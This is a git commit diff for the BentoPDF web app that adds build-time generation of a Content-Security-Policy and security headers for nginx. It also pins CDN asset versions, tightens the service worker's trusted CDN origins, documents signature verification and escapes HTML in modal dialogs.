feat: enhance sanitization

This commit is contained in:
alam00000
2026-04-17 23:40:24 +05:30
parent d92ee1a003
commit b4779bb49b
35 changed files with 2703 additions and 1240 deletions

View File

@@ -9,8 +9,8 @@ VITE_CORS_PROXY_SECRET=
# Pre-configured defaults enable advanced PDF features out of the box. # Pre-configured defaults enable advanced PDF features out of the box.
# For air-gapped / offline deployments, point these to your internal server (e.g., /wasm/pymupdf/). # For air-gapped / offline deployments, point these to your internal server (e.g., /wasm/pymupdf/).
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/ VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/ VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/ VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
# OCR assets (optional) # OCR assets (optional)
# Set all three together for self-hosted or air-gapped OCR. # Set all three together for self-hosted or air-gapped OCR.

3
.gitignore vendored
View File

@@ -33,6 +33,9 @@ coverage/
# Generated sitemap # Generated sitemap
public/sitemap.xml public/sitemap.xml
# Generated by scripts/generate-security-headers.mjs at build time
security-headers.conf
#backup #backup
.seo-backup .seo-backup
libreoffice-wasm-package libreoffice-wasm-package

View File

@@ -89,6 +89,7 @@ USER nginx
COPY --chown=nginx:nginx --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/} COPY --chown=nginx:nginx --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
COPY --chown=nginx:nginx nginx.conf /etc/nginx/nginx.conf COPY --chown=nginx:nginx nginx.conf /etc/nginx/nginx.conf
COPY --chown=nginx:nginx --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
COPY --chown=nginx:nginx --chmod=755 nginx-ipv6.sh /docker-entrypoint.d/99-disable-ipv6.sh COPY --chown=nginx:nginx --chmod=755 nginx-ipv6.sh /docker-entrypoint.d/99-disable-ipv6.sh
RUN mkdir -p /etc/nginx/tmp && chown -R nginx:nginx /etc/nginx/tmp RUN mkdir -p /etc/nginx/tmp && chown -R nginx:nginx /etc/nginx/tmp

View File

@@ -80,6 +80,7 @@ RUN apk upgrade --no-cache && apk add --no-cache su-exec
COPY --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/} COPY --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
COPY nginx.conf /etc/nginx/nginx.conf COPY nginx.conf /etc/nginx/nginx.conf
COPY --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
COPY --chmod=755 entrypoint.sh /entrypoint.sh COPY --chmod=755 entrypoint.sh /entrypoint.sh
RUN mkdir -p /etc/nginx/tmp \ RUN mkdir -p /etc/nginx/tmp \

View File

@@ -470,8 +470,8 @@ The default URLs are set in `.env.production`:
```bash ```bash
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/ VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/ VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/ VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
VITE_TESSERACT_WORKER_URL= VITE_TESSERACT_WORKER_URL=
VITE_TESSERACT_CORE_URL= VITE_TESSERACT_CORE_URL=
VITE_TESSERACT_LANG_URL= VITE_TESSERACT_LANG_URL=
@@ -1100,11 +1100,15 @@ For detailed release instructions, see [RELEASE.md](RELEASE.md).
``` ```
3. **Run the Development Server**: 3. **Run the Development Server**:
```bash ```bash
npm run dev npm run dev
``` ```
The application will be available at `http://localhost:5173`. The application will be available at `http://localhost:5173`.
> The dev server binds to `localhost` only by default. To expose it on your LAN (e.g. for mobile device testing), set `VITE_DEV_HOST=0.0.0.0 npm run dev`. The built-in CORS proxy at `/cors-proxy?url=` restricts targets to a known host allowlist; to permit additional hosts in development, set `VITE_DEV_CORS_PROXY_EXTRA_HOSTS="host1.example.com,host2.example.com"`.
#### Option 2: Build and Run with Docker Compose #### Option 2: Build and Run with Docker Compose
1. **Clone the Repository**: 1. **Clone the Repository**:

View File

@@ -95,8 +95,8 @@ docker run -d -p 3000:8080 bentopdf:custom
| `SIMPLE_MODE` | Build without LibreOffice tools | `false` | | `SIMPLE_MODE` | Build without LibreOffice tools | `false` |
| `BASE_URL` | Deploy to subdirectory | `/` | | `BASE_URL` | Deploy to subdirectory | `/` |
| `VITE_WASM_PYMUPDF_URL` | PyMuPDF WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/` | | `VITE_WASM_PYMUPDF_URL` | PyMuPDF WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/` |
| `VITE_WASM_GS_URL` | Ghostscript WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/` | | `VITE_WASM_GS_URL` | Ghostscript WASM module URL | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/` |
| `VITE_WASM_CPDF_URL` | CoherentPDF WASM module URL | `https://cdn.jsdelivr.net/npm/coherentpdf/dist/` | | `VITE_WASM_CPDF_URL` | CoherentPDF WASM module URL | `https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/` |
| `VITE_TESSERACT_WORKER_URL` | OCR worker script URL | _(empty; use Tesseract.js default CDN)_ | | `VITE_TESSERACT_WORKER_URL` | OCR worker script URL | _(empty; use Tesseract.js default CDN)_ |
| `VITE_TESSERACT_CORE_URL` | OCR core runtime directory | _(empty; use Tesseract.js default CDN)_ | | `VITE_TESSERACT_CORE_URL` | OCR core runtime directory | _(empty; use Tesseract.js default CDN)_ |
| `VITE_TESSERACT_LANG_URL` | OCR traineddata directory | _(empty; use Tesseract.js default CDN)_ | | `VITE_TESSERACT_LANG_URL` | OCR traineddata directory | _(empty; use Tesseract.js default CDN)_ |
@@ -110,6 +110,16 @@ docker run -d -p 3000:8080 bentopdf:custom
WASM module URLs are pre-configured with CDN defaults — all advanced features work out of the box. Override these for air-gapped or self-hosted deployments. WASM module URLs are pre-configured with CDN defaults — all advanced features work out of the box. Override these for air-gapped or self-hosted deployments.
### Content-Security-Policy
The nginx image ships with an enforcing `Content-Security-Policy` header. The CSP's `script-src`, `connect-src`, and `font-src` directives are **generated at build time** from the `VITE_*` URL variables above — whatever hosts you pass via `--build-arg` are automatically added to the policy.
As a result:
- If you override `VITE_CORS_PROXY_URL` or `VITE_WASM_*_URL` at build time, the CSP permits those origins automatically — no extra config needed.
- If you configure custom WASM URLs at _runtime_ via the in-app Advanced Settings page, those origins are **not** in the CSP and the browser will block fetches to them. Runtime configuration is intended for experimentation; for permanent custom URLs set the matching `VITE_*` build arg.
- Air-gapped deployments that override all three `VITE_WASM_*_URL` values also get the public `cdn.jsdelivr.net` removed from CSP (each default is replaced, not appended). Similarly, setting `VITE_CORS_PROXY_URL` replaces the public `bentopdf-cors-proxy.bentopdf.workers.dev` default.
For OCR, leave the `VITE_TESSERACT_*` variables empty to use the default online assets, or set all three together for self-hosted/offline OCR. Partial OCR overrides are rejected because the worker, core runtime, and traineddata directory must match. For fully offline searchable PDF output, also set `VITE_OCR_FONT_BASE_URL` so the OCR text-layer fonts are loaded from your internal server instead of the public Noto font URLs. For OCR, leave the `VITE_TESSERACT_*` variables empty to use the default online assets, or set all three together for self-hosted/offline OCR. Partial OCR overrides are rejected because the worker, core runtime, and traineddata directory must match. For fully offline searchable PDF output, also set `VITE_OCR_FONT_BASE_URL` so the OCR text-layer fonts are loaded from your internal server instead of the public Noto font URLs.
`VITE_DEFAULT_LANGUAGE` sets the UI language for first-time visitors. Supported values: `en`, `ar`, `be`, `fr`, `de`, `es`, `zh`, `zh-TW`, `vi`, `tr`, `id`, `it`, `pt`, `nl`, `da`. Users can still switch languages — this only changes the default. `VITE_DEFAULT_LANGUAGE` sets the UI language for first-time visitors. Supported values: `en`, `ar`, `be`, `fr`, `de`, `es`, `zh`, `zh-TW`, `vi`, `tr`, `id`, `it`, `pt`, `nl`, `da`. Users can still switch languages — this only changes the default.

View File

@@ -203,8 +203,8 @@ These are set in `.env.production` and baked into the build:
```bash ```bash
VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/ VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/ VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/ VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
VITE_TESSERACT_WORKER_URL= VITE_TESSERACT_WORKER_URL=
VITE_TESSERACT_CORE_URL= VITE_TESSERACT_CORE_URL=
VITE_TESSERACT_LANG_URL= VITE_TESSERACT_LANG_URL=

View File

@@ -26,6 +26,31 @@ The tool extracts PKCS#7 signature objects from the PDF, decodes the ASN.1 struc
- **Self-signed detection**: Is the certificate its own issuer? - **Self-signed detection**: Is the certificate its own issuer?
- **Trust chain**: When a trusted certificate is provided, does the signer's certificate chain back to it? - **Trust chain**: When a trusted certificate is provided, does the signer's certificate chain back to it?
### Cryptographic Verification
- The tool reconstructs the bytes covered by the signature's `/ByteRange`, hashes them with the algorithm the signer declared, and compares the result against the `messageDigest` attribute inside the signature.
- It then re-serializes the signed attributes as a DER SET and verifies the signature against the signer certificate's public key.
- **A signature is reported as valid only when all of these pass.** If the PDF bytes were modified after signing, or the embedded signature does not match the signer's key, the status shows "Invalid — Cryptographic Verification Failed" with the specific reason.
#### Supported Signature Algorithms
| Algorithm | Verification path |
| ----------------------- | -------------------------------------------------------------------------------------- |
| RSA (PKCS#1 v1.5) | node-forge `publicKey.verify`, with Web Crypto fallback |
| RSA-PSS (RSASSA-PSS) | Web Crypto `verify({name: 'RSA-PSS', saltLength})` |
| ECDSA P-256/P-384/P-521 | Web Crypto `verify({name: 'ECDSA', hash})` after DER → IEEE P1363 signature conversion |
If a signature uses an algorithm outside this list (for example Ed25519, SM2, or RSA with an unusual digest OID), the card shows **"Unverified — Unsupported Signature Algorithm"** in yellow, along with the specific OID or reason. This is a deliberate three-state distinction:
- **Valid** — signature cryptographically verified against the signer's public key.
- **Invalid** — verification ran and produced a negative result (bytes changed, key mismatch).
- **Unverified** — the tool could not run verification for this algorithm. The certificate metadata is still shown, but you should treat the signature as "unknown" and verify it with Adobe Acrobat or `openssl cms -verify`.
### Insecure Digest Algorithms
- Signatures using **MD5 or SHA-1** are rejected as invalid and flagged with "Insecure Digest" status. Both algorithms have published collision attacks, so a signature over a SHA-1 or MD5 hash offers no integrity guarantee.
- SHA-224, SHA-256, SHA-384, and SHA-512 are all accepted.
### Document Coverage ### Document Coverage
- **Full coverage**: The signature covers the entire PDF file, meaning no bytes were added or changed after signing. - **Full coverage**: The signature covers the entire PDF file, meaning no bytes were added or changed after signing.

View File

@@ -27,27 +27,20 @@ http {
index index.html; index index.html;
absolute_redirect off; absolute_redirect off;
include /etc/nginx/security-headers.conf;
location ~ ^/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ { location ~ ^/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
try_files $uri $uri/ $uri.html /$1/index.html /index.html; try_files $uri $uri/ $uri.html /$1/index.html /index.html;
expires 5m; expires 5m;
add_header Cache-Control "public, must-revalidate";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
} }
location ~ ^/(.+?)/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ { location ~ ^/(.+?)/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
try_files $uri $uri/ $uri.html /$1/$2/index.html /$1/index.html /index.html; try_files $uri $uri/ $uri.html /$1/$2/index.html /$1/index.html /index.html;
expires 5m; expires 5m;
add_header Cache-Control "public, must-revalidate";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
} }
location ~* \.html$ { location ~* \.html$ {
expires 1h; expires 1h;
add_header Cache-Control "public, must-revalidate";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
} }
location ~* /libreoffice-wasm/soffice\.wasm\.gz$ { location ~* /libreoffice-wasm/soffice\.wasm\.gz$ {
@@ -55,9 +48,8 @@ http {
types {} default_type application/wasm; types {} default_type application/wasm;
add_header Content-Encoding gzip; add_header Content-Encoding gzip;
add_header Vary "Accept-Encoding"; add_header Vary "Accept-Encoding";
add_header Cache-Control "public, immutable"; include /etc/nginx/security-headers.conf;
add_header Cross-Origin-Embedder-Policy "require-corp" always; expires 1y;
add_header Cross-Origin-Opener-Policy "same-origin" always;
} }
location ~* /libreoffice-wasm/soffice\.data\.gz$ { location ~* /libreoffice-wasm/soffice\.data\.gz$ {
@@ -65,38 +57,28 @@ http {
types {} default_type application/octet-stream; types {} default_type application/octet-stream;
add_header Content-Encoding gzip; add_header Content-Encoding gzip;
add_header Vary "Accept-Encoding"; add_header Vary "Accept-Encoding";
add_header Cache-Control "public, immutable"; include /etc/nginx/security-headers.conf;
add_header Cross-Origin-Embedder-Policy "require-corp" always; expires 1y;
add_header Cross-Origin-Opener-Policy "same-origin" always;
} }
location ~* \.(wasm|wasm\.gz|data|data\.gz)$ { location ~* \.(wasm|wasm\.gz|data|data\.gz)$ {
expires 1y; expires 1y;
add_header Cache-Control "public, immutable";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
} }
location ~* \.(js|mjs|css|woff|woff2|ttf|eot|otf)$ { location ~* \.(js|mjs|css|woff|woff2|ttf|eot|otf)$ {
expires 1y; expires 1y;
add_header Cache-Control "public, immutable";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
} }
location ~* \.(png|jpg|jpeg|gif|ico|svg|webp|avif|mp4|webm)$ { location ~* \.(png|jpg|jpeg|gif|ico|svg|webp|avif|mp4|webm)$ {
expires 1y; expires 1y;
add_header Cache-Control "public, immutable";
} }
location ~* \.json$ { location ~* \.json$ {
expires 1w; expires 1w;
add_header Cache-Control "public, must-revalidate";
} }
location ~* \.pdf$ { location ~* \.pdf$ {
expires 1y; expires 1y;
add_header Cache-Control "public, immutable";
} }
error_page 404 /404.html; error_page 404 /404.html;
@@ -104,16 +86,6 @@ http {
location / { location / {
try_files $uri $uri/ $uri.html =404; try_files $uri $uri/ $uri.html =404;
expires 5m; expires 5m;
add_header Cache-Control "public, must-revalidate";
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
} }
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
} }
} }

1515
package-lock.json generated

File diff suppressed because it is too large Load Diff

View File

@@ -6,7 +6,7 @@
"type": "module", "type": "module",
"scripts": { "scripts": {
"dev": "vite", "dev": "vite",
"build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs", "build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs && node scripts/generate-security-headers.mjs",
"build:with-docs": "npm run build && npm run docs:build && node scripts/include-docs-in-dist.js", "build:with-docs": "npm run build && npm run docs:build && node scripts/include-docs-in-dist.js",
"build:gzip": "COMPRESSION_MODE=g npm run build", "build:gzip": "COMPRESSION_MODE=g npm run build",
"build:brotli": "COMPRESSION_MODE=b npm run build", "build:brotli": "COMPRESSION_MODE=b npm run build",
@@ -58,7 +58,7 @@
"vite": "^7.3.2", "vite": "^7.3.2",
"vite-plugin-compression": "^0.5.1", "vite-plugin-compression": "^0.5.1",
"vite-plugin-handlebars": "^2.0.0", "vite-plugin-handlebars": "^2.0.0",
"vite-plugin-node-polyfills": "^0.25.0", "vite-plugin-node-polyfills": "^0.26.0",
"vitepress": "^1.6.4", "vitepress": "^1.6.4",
"vitest": "^4.0.18", "vitest": "^4.0.18",
"vue": "^3.5.29" "vue": "^3.5.29"
@@ -86,6 +86,7 @@
"bwip-js": "^4.8.0", "bwip-js": "^4.8.0",
"cropperjs": "^1.6.2", "cropperjs": "^1.6.2",
"diff": "^8.0.3", "diff": "^8.0.3",
"dompurify": "^3.4.0",
"embedpdf-snippet": "file:vendor/embedpdf/embedpdf-snippet-2.9.1.tgz", "embedpdf-snippet": "file:vendor/embedpdf/embedpdf-snippet-2.9.1.tgz",
"heic2any": "^0.0.4", "heic2any": "^0.0.4",
"highlight.js": "^11.11.1", "highlight.js": "^11.11.1",
@@ -149,6 +150,8 @@
"flatted": "^3.4.2", "flatted": "^3.4.2",
"react": "^18.3.1", "react": "^18.3.1",
"react-dom": "^18.3.1", "react-dom": "^18.3.1",
"lodash-es": "^4.18.1" "lodash-es": "^4.18.1",
"follow-redirects": "^1.15.11",
"esbuild": "^0.25.0"
} }
} }

View File

@@ -5,9 +5,11 @@
* Version: 1.1.0 * Version: 1.1.0
*/ */
const CACHE_VERSION = 'bentopdf-v10'; const CACHE_VERSION = 'bentopdf-v11';
const CACHE_NAME = `${CACHE_VERSION}-static`; const CACHE_NAME = `${CACHE_VERSION}-static`;
const trustedCdnOrigins = new Set(['https://cdn.jsdelivr.net']);
const getBasePath = () => { const getBasePath = () => {
const scope = self.registration?.scope || self.location.href; const scope = self.registration?.scope || self.location.href;
const url = new URL(scope); const url = new URL(scope);
@@ -67,7 +69,7 @@ self.addEventListener('activate', (event) => {
self.addEventListener('fetch', (event) => { self.addEventListener('fetch', (event) => {
const url = new URL(event.request.url); const url = new URL(event.request.url);
const isCDN = url.hostname === 'cdn.jsdelivr.net'; const isCDN = trustedCdnOrigins.has(url.origin);
const isLocal = url.origin === location.origin; const isLocal = url.origin === location.origin;
if (!isLocal && !isCDN) { if (!isLocal && !isCDN) {
@@ -220,11 +222,9 @@ async function removeDuplicateCache(cache, fileName, isCDN) {
for (const req of requests) { for (const req of requests) {
const reqUrl = new URL(req.url); const reqUrl = new URL(req.url);
if (reqUrl.pathname.endsWith(fileName)) { if (reqUrl.pathname.endsWith(fileName)) {
// If caching CDN version, remove local version (and vice versa) const reqIsCDN = trustedCdnOrigins.has(reqUrl.origin);
const reqIsCDN = reqUrl.hostname === 'cdn.jsdelivr.net';
if (reqIsCDN !== isCDN) { if (reqIsCDN !== isCDN) {
await cache.delete(req); await cache.delete(req);
// console.log(`[Dedup] Removed ${reqIsCDN ? 'CDN' : 'local'} version of:`, fileName);
} }
} }
} }
@@ -280,13 +280,16 @@ function getLocalPathForCDNUrl(pathname) {
* Determine if a URL should be cached * Determine if a URL should be cached
* Handles both local and CDN URLs * Handles both local and CDN URLs
*/ */
const CACHEABLE_EXTENSIONS =
/\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/;
function shouldCache(pathname, isCDN = false) { function shouldCache(pathname, isCDN = false) {
if (isCDN) { if (isCDN) {
return ( return (
pathname.includes('/@bentopdf/pymupdf-wasm') || pathname.includes('/@bentopdf/pymupdf-wasm') ||
pathname.includes('/@bentopdf/gs-wasm') || pathname.includes('/@bentopdf/gs-wasm') ||
pathname.includes('/@matbee/libreoffice-converter') || pathname.includes('/@matbee/libreoffice-converter') ||
pathname.match(/\.(wasm|whl|zip|json|js|gz)$/) CACHEABLE_EXTENSIONS.test(pathname)
); );
} }
@@ -294,9 +297,7 @@ function shouldCache(pathname, isCDN = false) {
pathname.includes('/libreoffice-wasm/') || pathname.includes('/libreoffice-wasm/') ||
pathname.includes('/embedpdf/') || pathname.includes('/embedpdf/') ||
pathname.includes('/assets/') || pathname.includes('/assets/') ||
pathname.match( CACHEABLE_EXTENSIONS.test(pathname)
/\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/
)
); );
} }
@@ -327,16 +328,42 @@ async function cacheInBatches(cache, urls, batchSize = 5) {
} }
self.addEventListener('message', (event) => { self.addEventListener('message', (event) => {
if (event.data && event.data.type === 'SKIP_WAITING') { if (!event.data) return;
if (event.data.type === 'SKIP_WAITING') {
self.skipWaiting(); self.skipWaiting();
return;
} }
if (event.data && event.data.type === 'CLEAR_CACHE') { if (event.data.type === 'CLEAR_CACHE') {
event.waitUntil( event.waitUntil(
caches.delete(CACHE_NAME).then(() => { caches.delete(CACHE_NAME).then(() => {
console.log('[ServiceWorker] Cache cleared'); console.log('[ServiceWorker] Cache cleared');
}) })
); );
return;
}
if (
event.data.type === 'SET_TRUSTED_CDN_HOSTS' &&
Array.isArray(event.data.hosts)
) {
for (const origin of event.data.hosts) {
if (typeof origin !== 'string') continue;
try {
const parsed = new URL(origin);
if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
continue;
}
trustedCdnOrigins.add(parsed.origin);
} catch (e) {
console.warn(
'[ServiceWorker] Ignoring malformed trusted-host origin:',
origin,
e
);
}
}
} }
}); });

View File

@@ -0,0 +1,90 @@
#!/usr/bin/env node
import { writeFileSync } from 'node:fs';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
const repoRoot = join(dirname(fileURLToPath(import.meta.url)), '..');
function originOf(urlStr) {
if (!urlStr) return null;
try {
const u = new URL(urlStr);
if (u.protocol !== 'https:' && u.protocol !== 'http:') return null;
return `${u.protocol}//${u.host}`;
} catch {
return null;
}
}
function uniq(values) {
return Array.from(new Set(values.filter(Boolean)));
}
const DEFAULT_WASM_ORIGINS = {
pymupdf: 'https://cdn.jsdelivr.net',
gs: 'https://cdn.jsdelivr.net',
cpdf: 'https://cdn.jsdelivr.net',
};
const DEFAULT_CORS_PROXY_ORIGIN =
'https://bentopdf-cors-proxy.bentopdf.workers.dev';
const wasmOrigins = [
originOf(process.env.VITE_WASM_PYMUPDF_URL) || DEFAULT_WASM_ORIGINS.pymupdf,
originOf(process.env.VITE_WASM_GS_URL) || DEFAULT_WASM_ORIGINS.gs,
originOf(process.env.VITE_WASM_CPDF_URL) || DEFAULT_WASM_ORIGINS.cpdf,
];
const tesseractOrigins = uniq([
originOf(process.env.VITE_TESSERACT_WORKER_URL),
originOf(process.env.VITE_TESSERACT_CORE_URL),
originOf(process.env.VITE_TESSERACT_LANG_URL),
]);
const corsProxyOrigin =
originOf(process.env.VITE_CORS_PROXY_URL) || DEFAULT_CORS_PROXY_ORIGIN;
const ocrFontOrigin = originOf(process.env.VITE_OCR_FONT_BASE_URL);
const scriptOrigins = uniq([...wasmOrigins, ...tesseractOrigins]);
const connectOrigins = uniq([
...wasmOrigins,
...tesseractOrigins,
corsProxyOrigin,
]);
const fontOrigins = uniq([ocrFontOrigin].filter(Boolean));
const directives = [
`default-src 'self'`,
`script-src 'self' 'wasm-unsafe-eval' ${scriptOrigins.join(' ')}`.trim(),
`worker-src 'self' blob:`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: blob: https:`,
fontOrigins.length
? `font-src 'self' data: ${fontOrigins.join(' ')}`
: `font-src 'self' data:`,
`connect-src 'self' ${connectOrigins.join(' ')}`.trim(),
`object-src 'none'`,
`base-uri 'self'`,
`frame-ancestors 'self'`,
`form-action 'self'`,
`upgrade-insecure-requests`,
];
const csp = directives.join('; ');
const contents = `add_header Content-Security-Policy "${csp}" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), camera=(), microphone=(), payment=(), usb=(), interest-cohort=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
`;
const outPath = join(repoRoot, 'security-headers.conf');
writeFileSync(outPath, contents);
console.log(
`[security-headers] wrote ${outPath} with ${scriptOrigins.length} script-src / ${connectOrigins.length} connect-src origin(s)`
);

View File

@@ -232,22 +232,22 @@ function showInputModal(
if (field.type === 'text') { if (field.type === 'text') {
return ` return `
<div class="mb-4"> <div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label> <label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<input type="text" id="modal-${field.name}" value="${escapeHTML(String(defaultValues[field.name] || ''))}" <input type="text" id="modal-${field.name}" value="${escapeHTML(String(defaultValues[field.name] || ''))}"
class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900" class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900"
placeholder="${field.placeholder || ''}" /> placeholder="${escapeHTML(field.placeholder || '')}" />
</div> </div>
`; `;
} else if (field.type === 'select') { } else if (field.type === 'select') {
return ` return `
<div class="mb-4"> <div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label> <label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<select id="modal-${field.name}" class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900"> <select id="modal-${field.name}" class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900">
${field.options ${field.options
.map( .map(
(opt) => ` (opt) => `
<option value="${opt.value}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}> <option value="${escapeHTML(opt.value)}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
${opt.label} ${escapeHTML(opt.label)}
</option> </option>
` `
) )
@@ -261,7 +261,7 @@ placeholder="${field.placeholder || ''}" />
defaultValues.destX !== null && defaultValues.destX !== undefined; defaultValues.destX !== null && defaultValues.destX !== undefined;
return ` return `
<div class="mb-4"> <div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label> <label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<div class="p-3 bg-gray-50 rounded-lg border border-gray-200 space-y-2"> <div class="p-3 bg-gray-50 rounded-lg border border-gray-200 space-y-2">
<div class="flex items-center gap-2"> <div class="flex items-center gap-2">
<label class="flex items-center gap-1 text-xs"> <label class="flex items-center gap-1 text-xs">
@@ -313,7 +313,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
} else if (field.type === 'preview') { } else if (field.type === 'preview') {
return ` return `
<div class="mb-4"> <div class="mb-4">
<label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label> <label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
<div id="modal-preview" class="style-preview bg-gray-50"> <div id="modal-preview" class="style-preview bg-gray-50">
<span id="preview-text" style="font-size: 16px;">Preview Text</span> <span id="preview-text" style="font-size: 16px;">Preview Text</span>
</div> </div>
@@ -326,7 +326,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
modal.innerHTML = ` modal.innerHTML = `
<div class="p-6"> <div class="p-6">
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3> <h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
<div class="mb-6"> <div class="mb-6">
${fieldsHTML} ${fieldsHTML}
</div> </div>
@@ -830,7 +830,7 @@ function showConfirmModal(message: string): Promise<boolean> {
modal.innerHTML = ` modal.innerHTML = `
<div class="p-6"> <div class="p-6">
<h3 class="text-xl font-bold text-gray-800 mb-4">Confirm Action</h3> <h3 class="text-xl font-bold text-gray-800 mb-4">Confirm Action</h3>
<p class="text-gray-600 mb-6">${message}</p> <p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
<div class="flex gap-2 justify-end"> <div class="flex gap-2 justify-end">
<button id="modal-cancel" class="px-4 py-2 rounded-lg bg-gray-200 hover:bg-gray-300 text-gray-700">Cancel</button> <button id="modal-cancel" class="px-4 py-2 rounded-lg bg-gray-200 hover:bg-gray-300 text-gray-700">Cancel</button>
<button id="modal-confirm" class="px-4 py-2 rounded btn-gradient text-white">Confirm</button> <button id="modal-confirm" class="px-4 py-2 rounded btn-gradient text-white">Confirm</button>
@@ -882,8 +882,8 @@ function showAlertModal(title: string, message: string): Promise<boolean> {
modal.innerHTML = ` modal.innerHTML = `
<div class="p-6"> <div class="p-6">
<h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3> <h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
<p class="text-gray-600 mb-6">${message}</p> <p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
